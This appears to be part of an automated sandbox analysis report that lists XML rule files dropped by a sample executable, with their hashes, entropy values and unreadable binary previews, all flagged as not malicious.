Malicious:	false
Preview:	<?xmlU......@w .}#dK.$..S,..V.0.E...........>[...W......C^0\.H...).x..@..e9..ZF..u...\|.}..I...e.f.........4...p..6.c..Df5.G.t....`q..&\|. ..O\|..R.;_....\.N.^..U,..e..G.%....YC..3M...\X.[.=Y..Wm....H..,.}.V......t......M.{M...e...........S..W....L.;-(.y.....J%.......s..E.$....../.....Px{..R._.v.......C.9./t^.......y.)..v..`[.;.0@..&x........D..Ti..T...V.[."Ha:......CB.B'..8F.p..p.".;k..e...G....^.'wn.Z....,....)..; ?...IA}.........G..a/.n7zVe..L.R;..I6~......-Y.].B^i.h.;x_.5f.o..{...O"..f.". ..t.U..J....>..s........{Tk.......N.,.p..CmE.{....C...4t1Hi.......m.J......#>..Ppf.m._N..k.._...x..0M.<.I]X..T.(..G.+p....7.9..a~].....J...e.>.F.M..S.yo,...K..X.h..S...E.c0.m.....<?#..O..`m...#n.T.L..n......w..n..).y....r).vw..U...^.x.{.......C..@.....M...YM..'.<.CSrA..Y.C5....y2.4.Q....`.`...Z...(..(e\G.......R...y......-.^.}...&.].J....)......!04..4....+.R.y..r..9.-.$ ...Se........A.2... &.....%V..\|N...K...U.*;...^.x.....R.vS8T...@.W.e.k......g=~N...s.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.884415609072676
Encrypted:	false
SSDEEP:	48:uEBeniiEkpQKP1W2Hi2S22NQ51tWkKR/D:nBenikQKNWui2S22g3WTr
MD5:	D2E6EC7798E103C16C7654E0DE85A5B2
SHA1:	9FAE9EB33B0F734EA5A34D7472BB2A6675604924
SHA-256:	DB9DBBE716EE4AE12C1533DD62EF17333BA4F5C6F75443585338A5665F259347
SHA-512:	4A666D3CB16370C7B71A73B32F71C2276052B592532C7A95AF345D79E9BCCAD2D10433305BB0AC65B2BCA2047EFA501E34A43310FA6882DF0FB7C09BC6978831
Malicious:	false
Preview:	<?xml...,..?....I...?_.;F..'....A...?.I.....0....Z.<.GZF.:..dA.vf>....q...3.h..........Rq3U."..eMV.I...R.Q+..05.E<....>.XXD.E.S.....d.j.....z.I...Pe....%...c.r..w....4....x..{.]?q..fY...HBT.k..=...m^.\.'.f.....z<.s8...~...)H\8.h2.+.p..M..'i....@%.^.nw..^.H......=..v.AQ..=........O.....l.x2..6.f..^\+...y..y;.sN,...u...u;V..W_.u}..ep...@.0.:P..q..NY?.EHJ.zk..zw8.......Frs_..k;=.&../.5....c5G...yY.....Nd...sZY...W...6,jMrx.}......S.w..C.^.13S.^.J...@.=..%..f..c..8.....d.%.w.c..\....O.^....0...,.[..o~X... E9...NV.w......<4Y0.TSL..Jj.&.S]xi...m..0.....K.$........i.i..9....+........Mx...............'.w2<a...{v.f&.<E. .vD..."N....b...4J.-...[...'.`.\\|.F.[\|.w.....rW<...Z.....%G.[t..J.#.. \....N...l.7.7{.`)?.h.._Z..gx.?..[5O.:.j......h..3..(...b^,Sg.t....g.0m......"...-...".....q.....p.r>.3/"..H.O.z.)..<Lt.G.S.;..!l.1..T.......]oz.M..... .@X.2BJ.x......mz..c...4.5.)8kH..X.`+...`...b.m.e..7.I."...7....2T..dT$.Kn....+.U.[...u6v@4.9#..X\|^M...sZ.E..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.872782752903201
Encrypted:	false
SSDEEP:	48:vtw8UJJjn8CEQIZ3qcL4WC/VK+kMCPHn3zpD:vWFE/6mOWMc1
MD5:	779E96D05FB70A5615A785538C3F2F43
SHA1:	C001A5FBD0E47F83EEC9230C85F2B40FE92AF151
SHA-256:	73C411464BC652BF6ED5BFB2E63234DEEEE6586D5745FB1481118A43AFF83D36
SHA-512:	7945DF603155F7BBCFFE537ACAC50B6D1A03C01BF3FE401271E2C39FA57EA338BBAE084666B9D292EBFE2013901E8C8337E9D5672292B3036C5C5F2ABD5F1836
Malicious:	false
Preview:	<?xml..S...3......r..x.)..6o....._..q?..].3...+..z>../.e,.....A.?\|^...DR....X@....s.L...Y)..&......x..7PZL`.?.5{...\...4@0..^...}WP..J$3...z.....;...a.......k..........Hp..Y1e`.Z.H....).T....c.0..~.Y{..Q'}[...z..K.vh......9.......)~w..-..U.g...W...[...l.....s..)a8.p[Q.N[Ks...5...1....c.....\{.Z...t.....0F...LR....9.NG^..mP=....y...s......{.e5-{..-]....Lc..#...s.z...a.'....'O..... ...@i,..`..h.W73.2............T3B.......e.....&..w...u..0Q.o...B.V..S.......c....L.S...`g.1..\.=I.....?.Xl....r...?....u.H..<..Z.#>i$-..?.\|+k.....>..[B^..@..#....0?'M.}4.>....5...t.d.....m..H6..mX..Q.jy.j...<.\n.A.`..^K.h.=i.j....8a..&.....h.v-...Ub...%.{.}k..#.B.....R.1..LU....<#..@..K...p2..`J..Oh.r.P...R.~#&.U......qg..............I.....\|v....._)c...s..q..v..7.-U...........W....0g...z.].u{%.2(..2z..?.83.j..?..b........#....E.\|[4.."R.](....J6.....:.S.......~.r&N..7k.?.rt.R.!...SpEaZ.8..........u.x...E..R.^........XO+9.u..w=..tZ.jfE.......B...T.rT..{...I.\.R$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.890341093492067
Encrypted:	false
SSDEEP:	48:OqGFbtjOTzBzdxE45VfjKlnicwK8hCpjSVvly+D:OHFhjshcq5jKlixheG7yG
MD5:	113B96E900A829FEBF14262A8FEE2CE6
SHA1:	C70A094C5DD5579265B34E9DFE14830AD529F54B
SHA-256:	63A4A0C7038032A96398013096166103075224E29B02BF20D35BA2E45CB567F0
SHA-512:	5E925A0BDC728808E50E08BBC365B21514DE3BF8243B312C49405FA0D869E06FC3FE69F2020BD7024062D76B29E76135A5014EBF744CC57B3D120D26D5BF30DE
Malicious:	false
Preview:	<?xml..m..Izw....EDg....Z.-.].{B..s...M#.IZ..WB.7J.H[.m.SK.6.[tA..........w.M.O...~e......Oc..J...).x7.i....HRY.#6...5.J.d9...\2....E..d.0S.Se...g.."S.....c<.......;....V@..<....X....A.. A....C......a.z....._.f...2.X.....b.q..V...znR.....Ip...EA.5hO..%..z..0..`.[.\q..._`..\|r$G.3...MN....h....:....f<w.g.....s..L.L..!...c....hP..a.T..m.....%........cR......b.:4f......(.C.vds..w..:B..^...h.G...e]...AQ6......Ml..m.;..q .6GV....lA.x...V.i^... E..0.A..;bH.z...=c..O8...=!..i.5..).N.5.....Q4..d....Uf.c.......W/3..Z.....F....+;....>..j.a.#..`...m...i..:........q}+j#.s.....`.)i#......2bT...r..<?k.g..nmI.+..-J..9..<_.I=}E.V'...kFVWy.o.bp..y.I......57.~#.@......qn....}y...j.i.......}[H.!.C...zVh.p..ig.T.....Z....r.....23......E..m..Ds.m./ ..S...k.D....`...{.......I...V..T..E..!.z.IY.............y...=N.<.(T`...s.a....=..,K...-t.b.I...&.V..>.Mp.N..xW.Y...a^..n..K...X....`S.t..k.&}.R.PS...k..W....<...j_.0...4g...L3.c.'e.,q.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.88822454719146
Encrypted:	false
SSDEEP:	48:qo020yqdg+rEDyXUifpLhU8w1/DH4OhAjD:109SyXUixLhU8wpb4gC
MD5:	A4EF2AE247EE7A183E128BE364BDAE4C
SHA1:	9B0DB16DB026683BA963A26DE9448244158269EE
SHA-256:	36170B87388FA4EEEE6BBCE3C43CBCF6737BB28C091AF641C90EB98560546C87
SHA-512:	583D18F452E8AD1432A49216F577B715D8B58DA9F46C56F0B2F6577405B8F399A415589A9AFAF2C22C279D36104EDF947F122B73D602746809CEF4C1D102430A
Malicious:	false
Preview:	<?xml.........-.f....:x..,....ur.......OC../m.b..3....h..i.E.a).H...cjX7.C_.a.$...i...Tj..K......dBd...4.D.q.....QBd.](...............\|H...W.,.a.Yq_..C..r+.5....T$ZZ....6.y.?5#..N>+.......S.o.4......e.5e.%.W..L.........JmO.b.<.M...J2[.cL.'.q%...5...>....1d...'. n.~...s.n#.>Kw.9....6.v+.......t..CqT...;Y ....)...}J$n._6.Y..oM.}.&..Zn#.!...F......_.......H.....2yi\|......@].........Hnn......Q.iFq...=.q3.+...".]Q..Q.(...u...]Q,...."R...z....U.Y.T.....x..]A......\...2x8...)....w..-f...M...7..x..m.XU.A.0...ww...'Vd.It.+pi..]...;.EpZ..[.P....)2.m..K.....{.teK~7.e.`..,U1.V..Y%..^y..I..>.mg..'........jv....}.....F..5.mxu.WPf7G..Pw4C..Fs)..HF[..E]%.m@G.I..[.._s....&...\,w...u.Mp...d..2....q....d...ZV(..b...;7.d=...n~.`.....+..W.o_..6~..62.$ .....vB.M.r... ....z.)..$Rq~.m9.W....p{....rSx...=a._......uL...:....K..gb......Q..l.gTV..zT..}..sL~a$...`.....O.9........-..2..>..pu.j........../.n1.B..E.{#..fF9].Es..\.B...."......y.oc..d.N..f....S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.9046477298694215
Encrypted:	false
SSDEEP:	48:EYyhkQJ3m4sG3K6JYfdsnd9OdCc4d9dPfOyfLL15D:EpkUsG3LYFqnOUrLPv
MD5:	91CEEE5E8A43DC03A83CDB5347DD2D60
SHA1:	F532BD442F0DCA2031450F05DDF20DB5D4C00536
SHA-256:	38B7D7704E11FB984F9FBFA3A5D634C7C95F47FCB18191D95F2DB841428B04DF
SHA-512:	B6EFE8643A9037F8D4791973492C1A11A86B783C245A51F35931513CF00FC4BB78EB62ECFD72921556DB44694808438EC60151C352FF35FF272321D029EE7986
Malicious:	false
Preview:	<?xml..;.E..(R~0.}......O..2."...G.xB...?.....=`)7`.>-.W....o.77.-t".;c.w.j.]..q...4CbR{.......z..v.lXx...<7Rf..}. ...I..=..w...........>.i..'.zk.5.....N.....!.6.l.........(..j%<...gNK.lq.".....T........T.%@..=..z[...OS.s.L..`..gx.&....3...#.....T..c.6.$...\|.........F..#.L...UU.........O'..M..J.P.x..uW..8...L..@.j.....y]EN#..C4].\|...U/.T.5.Y#.\\JM....]'^..\|S.}w......f#.9:F...$Y.-...Ww..L.O..m.Zc&[...{A5.;.0.qJ.....z...]..9.B.a..S..gj...........H.7......ij....N..L...!7Z'..kT......2..Kc'.@.?......UOK..qgM.\|Ch&..`\..=H.{..7.......I.d.(.Dt.T3].6.@K5.J...K.J...J.s.....N.....7W.7+P.....Y....n.(.;.3E...`f..a]6B...2...J..#$X..T.".s.K.).~.o...;...{.=K..>B..;&Zr/..C1..d......#.L..m.c..[..G....Z...h.g...\o.I+)Jp..,-....4=8. ....B.,......k.\|.".5D..`.^t........?..?..EWQ.>3.....g.nW.(.%.h..9Sx.~..2.&.]`......t#...&W...6..4.P....g^.qL..w5.../4W.9$.<...."K.M.>.k...mA.4?...\|.%.G..Mv.M.^...Q....p..A.Eg. y....c...#.M...cp..AZ..1\.k....%........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.873167786813602
Encrypted:	false
SSDEEP:	48:pEELZNKY5qPjaRy4Gh8i8nYVJHMXD0IOcicHL588alD:pLZUPjMi8nYVJY/OcjLbad
MD5:	BA0082AB7B729C422AA58E3DAE6F22FA
SHA1:	C0891B59473788CA979CBF43E7E8814CBCE3EF00
SHA-256:	FCB280E5AE5A55715280CF3CEF0F53FD6910A7933DFEDF0DD90EAAB775A0E541
SHA-512:	611E2835F884BD7959E3054BE249B4B2B49B445BE9F776D5382663CEAB979395E6A2D8045D18554134F9AD9A40ADF1949B130E5A6FC2A7BEE0DF16E1895ECB10
Malicious:	false
Preview:	<?xml...e..-R.x[....,K)uvA;.{.i..T71.t..4........P~)q.5Q../.......A.k. ......G...X...E1q..^....R/]..`6..KI...V....\|..^.{.Q<.....#8.7}$#..p..E.....6u.2=Y.....i..fq.j .k)..Q..2rV..{....A..cHM......5.J..\|.....v.9...\...Y...(.../.'d..k..$..I...>/Nx.p.{.E.....)......q............+...<C...!O.rb..o.....ag...&V...(...T0N>..Ax.. ....h\|-W.....1n..0.0}/.aaP..)..E...n.i..3.{...........X...\|E..p..?.}w....$.v'A...r...o).&.b.i...,..co.....d.+....-.HR[....i..I$.7.a.>..q...+.'.F..&...\...S..8j. .&m.o....r..;..]$.>..Y....l.5.C..6]........<.......flzE.+.b..[..1...S.....w>:p...U.......7O....n.."..@K..O.........a7..tl^.5...W.L.@.I..Zem.......8.(..0...\N.^...6VS..`..sV.$0.;......n........\|....d...g.(*..W.j......V.w....n...!.<...Z.p....<.2.(.{.8i..T} .........4..[?.w....,..!......P.#.....VA...PV:.?.e7....2..cv..iT.YqD#...YA.8.......(..^g5.m.....0.B....?Q1.....R..`OB...K..6.....lZ........T......v.9Fn.".... ,.F..>....b.2.....A^.W@.i-@.....I...yB...T....#.=...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.8679886584564365
Encrypted:	false
SSDEEP:	48:MsaVgxwkm8OIM+LLi15WQ+IHDWvT9qREZ5hvD:MsK8Onqi1bKvwk5h
MD5:	71DFE5DC78B328E4FCB5B4D4A3206F9F
SHA1:	174C3D8A3E8AB59964DC9BF658D4238B7EC6D8BF
SHA-256:	7D9CF42F9D008FD2FADA5E964F5C0CB5A492B34890594547BCACDB9C02AA9509
SHA-512:	9DE6EE1D1807905656394FA4F8BC6156789D37B8AA454029E82F48397B223CBCDC1135DBC01D6F1A1E541C9035ABA084C6124AE1D3B546FA31268D7C762884B8
Malicious:	false
Preview:	<?xml..Z-....]..Ug.quUu?]BV@..* .X"."9..K.:m.Q..H#aD..jx\Y.K..DF...~.F....._A.N...1.s..Q%.....Y...t...{...g.9M.8.&...&.........P...d 3...qo.r_%.p>U.^.YU..6N..f(..0nk....FH..f.?.4V\|..n6...K8G.........i..W..:nq..sc.N.....3.'.. ,6@:...v.8..f#.L..V..t52...;u.9....4.@.f..Y..\s..LS.......t..}..:....c..x.2.!.....G.0.\.3..._.y.ym:.@..r...-....]..p.bT+....YhY....\|.k..^......N<&.H.$..1...{...M..>M>H.......^..@#x....'..#.M1.8~m.!Vv..9../.....!....1.E..XJ....W.R...........D=.~.p......1.G.A..W.v...f^b..s...P^c4..`.V0.a.aE.UC..O-V.8...<..L..[..9...!d\P[.h.(.n-......g.2N....H.O...>S.i.....k.O.gT.j...G.B.s.pI{.?....!.tA.../.....<E.'....M..6.L/...!...;.26...j.Eb....U.]..~]......7..+..H...N....r..'.B3+...#..r(.k.B8.9..W#.u'.^.]..+/................/..{X..A.f..e...\S.T......Ic.....~.@.~....H.(..R.(t.Q b77.I8.ndl.q..3....L...SHU.(...G..rD....J..@g....b.6..).._-)..h.h.3Y...PTQE.VJ.F.q.. }...3.F...,"...["..... .....?.!....eW..0..8(.j....O..D.T(r......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.890513887477791
Encrypted:	false
SSDEEP:	48:vUexjJGzrMJTRVmz4odVl27JyHrl9YLF9Wus8caD:vUexjsMRRVc9dVEULlKFR
MD5:	515553C83343BC0FF4370929DCEFDBDF
SHA1:	BE23448638FB21B677075FB12FABEE1B9401B486
SHA-256:	895548FEBBEF1DDD0946F96F155B728C7DDBDFE088B211E1202D564E55657B39
SHA-512:	340E88743993493C31EF1D5E7DEBAD478BCD9B8B30619842792191464C35EB146D34E92A7ABE915298B94D65E9568F2FA840B0A587DB3998403AE91FD9A70825
Malicious:	false
Preview:	<?xml..o........Ek._7Z.4..V.T.,.....l_..d..3V..B.#..5.,..@(...%.Pq.x........."w}..8. ..%. .\HO..._....n...K..JH.7.>.}7.?..jP.......nX%~.8.8.....K...mv[...z.t-...3R&......4.oq.G..B.s:..g.....P.N...}n....F!...h..`\|..P....N...../.P._[.....A0I`.g....P..Q~...)L..v...}..HO..n..............h.....th..."W.....97. -.......U..[..x...{:..........WA1..Is..`........e`......$..v..0Y.'.f..M...KM..A.-....ia.[.`..QH...d.'....V%R.)...q..ob...d.@.;..;I....[VqI...>f.7yU.8.\)...w.....u`.o....)../...)..zn0.V.,..O9u..>y..E..R.....kj~V....2$vk}.c.V.(..P..5U.L".J.....8..`...S..N.2.r.p.{..^$PY...f.<R:.C4...>.%.4....d..V.%).....X.O......+.. x..tp.+j.....I..8...S...ef..D..vm.q....T./.g.Vw........X...BO..3p.M.T......[...l.2.9?\|... ......0~`W...x:.'L.......5..8^E..i..k....s.]./z\.]..t.^u......L......=I.....o.....W.?..kw.Gv>5..G.x...~..9N].a\|.k....xfF....;L...A..{..Q.MJ.I.....y...X.<..=.....2......_&..,.~.o..;..o.i..$......!8;..j....G..N?.k.2..?.o...?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.883971041201249
Encrypted:	false
SSDEEP:	48:N2gw/fpKJ3leUdr4hp13PmIMluNecstRHmWUPMjd9dBv/YD:TifMJVeUdOplulTtRGWUPYBXE
MD5:	2338F8C89C389119DBC6A3FED5841D31
SHA1:	54F4425650B4C6B6ADADDFDA989358FF4A3C9DDC
SHA-256:	3FA06F796C4491D846F4CF6723001300F3B5676E813D7EB416D7585D53189650
SHA-512:	3C1BB6C46029AA6B6C57A183502DF5912DC77FE2B9583DF55F306F31FD069F77D2AEC34891E77E370896338DF3DEA3B9B1B8FBF79216ACB69C1CC99A32DA5250
Malicious:	false
Preview:	<?xml......O.T....6w..f...c.O........7....s$^}...x....l.........._.2.F~.....C.I..7$h5yD(.A.7..Di.g....W.B.?...S.w(...W>......9...E.P.u..2l..H.u"]w`"./<..#.n>.....:....B.V..l.R.8......:.....v...a..6......}..MR..(d....A....i.J.....h........\..9.Q..y.1.............._..mb5....&...'..?:.O.s.T.W.^cX..1\|.+..9.@..k.T...R..Fb....M...a.?.\|......H.........8.. D.^....%q.ZK%....47..H.}...S;.C/.PEt...../(....:........'..t.......Q.Ga..&s.2..Qv....Q..f...].r.?....7$.I9.Z_..g....MW.5..6K...R.....}.\|.M...IT/...[.c.h!B...3.q..].vU..d...P...un1.o......o..H....Qd.....G##..9&...........n.'.7.6.....o.(...\|...G.J....A.4a........;..?.+.6C.A...8m./61.7c%......7..;r../..).].....&.x(X......)Q8.^4A.> .8[.Snj.c.=.rO.4..{..8....L:...6.S...6.j.'....M.M.Be+..3.{.<..1......q7.e..@W.....U....2O0.f<?3@.d......h..........T.hj.....B...=...=J..\...gy@.6.LNK3...R..R.}S...x.....\|.3i...?..I./.."?k.?.6..c1.....j_w.D .?.z....&i..$...t='.G!.....u.jI6w.Lv.w.83.61G.....).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.899474585467773
Encrypted:	false
SSDEEP:	24:x0dFTA7TcsppH6lSwmFI82Mlr+pOAqn55sXvMEz6HsEncjITSpMV4Un3jnbD:OdocwH6l3en224Orn5DpyITSpMl3jbD
MD5:	AEF4887DCAE9D8AC4AC01FBA9D32B147
SHA1:	8F8384F17A9CB02DD3390A6B8C41E5505C2EB445
SHA-256:	2FB71539C7BC6C0059C6E3B49C6794BF2855C4FB718A0CDB52F51AEAA153B02C
SHA-512:	76CB3B8BF30D4876AD475A43E329372DE3CA334848F14567C54F5C7D7C4A6C1421A36326BBCDB377D8B233A8E0B141E22627BC229DFE2A81520A2DAA7BAA5DAD
Malicious:	false
Preview:	<?xml...R..Q'>....w%5....i...e...I.....h.[$..L);.c-.\2....>...Xd...H..%.m[..<X...`lJ..A.].F...R.;..9..X...8.>.\.`\.......(........s.....r....l.)L_.V.S.D.sb.3i..i...F....._...:l.VM......B.....=......S.bi..3L.....s..>..7..O#.U.....&....c......NX...2\.e...."5.6j.....c....r:76u..V........a..H.T.U.`.w...X$g.s......P._+./..Qt.~...Y...la.uzR .p...L..BB.y..1..<:`'C-..P.@....7aMK..V.l......J./....Q.....4...c...u-..$i......@..7I.P-..M..A.[."$......\|.N..P.g.4....zxj6'3`.p..... @..."..-....l....W...@...gjW....C.}..JG.?.e29.0.=..x.ns.........v.......y.`.K...q+fF.....?W.......hq..f8.Ns.+.H......3T...d.$........04N...4...i P.......D]D......z...0Q..^X1.k.?....u/.I.O./...SyE.Xo.....M..~..3.....]..]u].+w..C.J.L%O.a.L.....1...r"..b...O.Q.j..k...\|..........p...=.:..c...90N..[..$.....0.CmoR..@>....,w...b.s.LV.EA{pa./.e..t J...pR...J..........\..\|OZt.L+.7.f..............................[v'...q..n9h..\|......Eb.Z....8..... ...W.\ATLM.b.dX.@.s.+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.895291385895203
Encrypted:	false
SSDEEP:	24:txjXlGoYTd/htlp/bXAPyfAu67EZiJ0+z4YZ9m1kC+QitYxlubD:H50pTXAaoB7V15ckCdID
MD5:	8C88660BB52793212DDF08EE1696E5BE
SHA1:	C32885AB45400249C469789CE0F448376A95C069
SHA-256:	4F6F5B24D9CE43222436C9812B5FB83DEF5C9B42B46954348DACF4A8D01AD607
SHA-512:	633EEB15BCCAB89749054AACBB86AC98484D70114E974BC9C36CD1DD8B1C105CD02A050BA36307CD66ABF7CFAAE371458C7982FDDF864B86A3F18386072145BA
Malicious:	false
Preview:	<?xmlvI....\|....}D)>...f...@.)...s....KW...NC....Bn.Q..<~.l..o...jF..1{.dBD...+Lx.'.3.P.........W.w.=.Q........i\|.E2..H.z.KVY.E..M%......f.YT(^3.[..U`Z.rTq,.M.7....A.7..b..V.)...S....&ajY.d.V2......3b...\|...d..6.u...z.......h.n..@..3...,.%...I$..?.!.rP..kR......;..........od...s8...B.;....1.....5:.4.p.......R.u}....H..r..e.?"...Na..1.......n...$j ..n<.....Oaq...[p(.-.+.{FJW..k.....!.Z....d}....[....m1[U......3o../.u.....vK.G....."...d.v..\..yA!....C....o..:..s..2...1..e}...!..j.\|.H[rOx8.O.J.a.K..x\|..EQ.E.p\|\|....z.MMcM:x.p..=.2.>.V ..x.0...,5Q...._.z.q$......y../..9...xFye'p.iL......^.l> .s..-;..yO..pw<....2"=...2hV"....]Z..C#3.L...7.a..y..].$..d..d.T0p.v....-.J.......E..rq..Bq...v..,G.e.B&.d...../.I./...XF.H..G..\a.....\..L....M..;..fi....t.o.}.&3.q...[.:..[....W......N.d.NXH....(..0.......nw.7..`83\|`a"8O..6/I..qgb.7Rg.%.:..y...t....\|.%.Y....c..f...S.kM..cyv8....o.&Y@..q.t.B4....F.{..{S:.W-...*..ycU..'V...}...fS....2..e>e.^{W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.893414152931359
Encrypted:	false
SSDEEP:	48:IU8SXGvN6Psp8lWHn77FKQ//Zegkg61mClC/pnZedsD:I2KN6Ep8AH7gQ//Tkg61mCIxnZeC
MD5:	3385A05A05CEC8CE031BECCEFA30FE08
SHA1:	2638A47C75F67D10F4C141E3397DA4A3E4C464F8
SHA-256:	03C709614613D2A8D04237BCE74ED705BF0BCD95728AE199B2B7C26D41A1BDD4
SHA-512:	EFA36C69CE93E687E0BC8183C7735C02D3813EC23021A824914A2F54901BD124063A2AF980B1276B9ACB3DE6D21206CC296102717250FFDE61A618194BA63235
Malicious:	false
Preview:	<?xml...6S.....!-..m(..............}..x=."Q..5.....#c...vQ...2o4.4..s..\|.<....].Y.L.C.^...N@..A.+..9..>4.0..Bw.LU\|.m..X...r:..j.?O..@.q(.`#......b....=[EB........4uV-...q@9y....3?.{..M.x)[...V..S..y.'.QW....IE..2.....^.,...8+s.`>..\....u....{..&....`.q .N..A.....-CWh8Qh.&H.K.7.,(Y.....8B.A?.{.....5.I.@....^Zqwmv0..X]/...-.`..J.%.u..*9..\|.v.... ...F.&..b.o..n....e-........x..Ii.i.3S(.....J..2z....n.%.....'".^...?...Sc.2".....c..G..'>jM].W.U. ..1+):.4.>e0T.J..<v.O.l.{...>F..S...Z"c...........t.}.}..,.F.p.b..>..q..n.n)....3pM.O..k.0.L.....J6..44.?..M......B.R..g&./.2..a.ZHN.\.....+....EM..M4YM..$_A.VI...............d.az...a..K.......3..[.3k..a.....[.^.Q.f.#.N....U...GCX.....e1_d.MF........2V.0...Z\|...m.......w..&..8..9....Zv.A..V.d./.J3{..$C..)uD..>...L...A...}..!.'..x...<f.lu{.\4 ...LD.;)._x.lj..Z{....<....G.(...db.E......3..B..~n....?FJ.Z....@...4.a.?....=A)..#N..(C9...9..LT.4...)]Yt.v!.qC.J..I..JW..x......`.....;7.EX.....p..$....Q....[..y5{t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.890316759864859
Encrypted:	false
SSDEEP:	48:pf1o6eYi4+mlwooevBQQKCS4cTffCL8EmGqeOO/vh4M9oD:x1odjpmlwenKEcTff+8VGqePfW
MD5:	6493B26F683E949EE1C1F8E0893C86A7
SHA1:	C52A87EB5784FE1D196A8A6AEC956B5352389E03
SHA-256:	33407E9757703485509CEE8360ACB631EF385F67DBEDECCF21C304A69309DB65
SHA-512:	892EC32BE753E11F59E6E067B36E769654230F2B4F0D5E6AF0B398A12178C289509C81D4664FE97CC22758D7BF46B1D683938E03CAC2DE6434E61E9C00752875
Malicious:	false
Preview:	<?xml. U........ygY...T..?.p.<.3.......q.....d{E.k..h'.l....[....4FU=P..t......'.-.....&oa....3....Ey."DZ..H.`>..I....]r&.s..{.`h.-..U..Y..!.I..Cw!..h..u....g]KpX....@..j9...i%".....\......J....#...o....A..s....P.I`.)#...!oB..0$.2.......K...B,....m..o...Sa\|.5c.{..f}.LG..S.p..l$4t...F..T$.....C......{.....@.t[.q}..o..S.._...Dl$%.c.U......&.o9.(a...r...%.#.{.......<...`.m......\|......g....X....MY.n....$,..M..'p.0.......O.....#...~/ .X...p.KJ.}.U...>`s.e.9@.~...t(.?H....n.d.....T..1Q..t=A.,.!..hs..k~.../X t..h...x9ow.0@..X-..............4..>...s.%O~.~._....V.4...2.....H..t`.k...f.A.....GWZ.jM.9X\|.%SC...L.+..fa........Q v.]....R....~..\|..G.ad.vg...1SZz...3'....g.#.:...L.?..A ...\|..qs....VL...d.d6P..X........D.1}.c....p.!....j. .7......C4B.....y.@i?t......1..s/.P..C.}/..B....VI....U..f.Z 4.qG..f.....5}...r..L.....#r!.....C.}=sL.-._5.=+.@..u...K......M.4...4...9f.M~."..6..;...J2.h[.:..._.s....m.v....$..T...W.../.. .Q..c%HV.]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.895880624966442
Encrypted:	false
SSDEEP:	24:bS1g0/bwroA1XghGOceYyusPUhISZn7++IR8agsZx32ks155IJq0AGVBJsjXVzeY:bS1x/A7LYA5WHLZx32kQwAwByEVz/2D
MD5:	326B165534CA6887C9FA4471A7CCC706
SHA1:	BE26E67B719992B60F0B8A0EC4F4194CB7FE77B2
SHA-256:	1635F0044C9E541AAA62EA492D5A4877E65B8A2DF7FD2B4BCAD0B6EF376469D2
SHA-512:	DCCCC0A92C0A4D11AA5D843D01279E39B6967629AADE5794540C85FBC2C761DF08738BCCA1775A2F225E115EF33DE101B98860803BA39ADD16A4E53A62F19693
Malicious:	false
